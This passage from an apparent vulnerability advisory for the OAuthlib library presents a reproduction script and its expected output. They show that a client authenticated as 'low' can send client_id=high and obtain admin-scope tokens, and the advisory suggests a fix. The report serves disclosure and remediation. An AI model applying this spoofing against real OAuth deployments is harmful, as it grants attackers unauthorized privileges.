Details
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
```bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- [email protected] (Liyi), https://lzhou1110.github.io/
- [email protected] (Ziyue), https://zyy0530.github.io/
- [email protected] (Strick), https://str1ckl4nd.github.io/
- [email protected] (Maurice), http://maurice.busystar.org/
- [email protected] (Chenchen), https://7thparkk.github.io/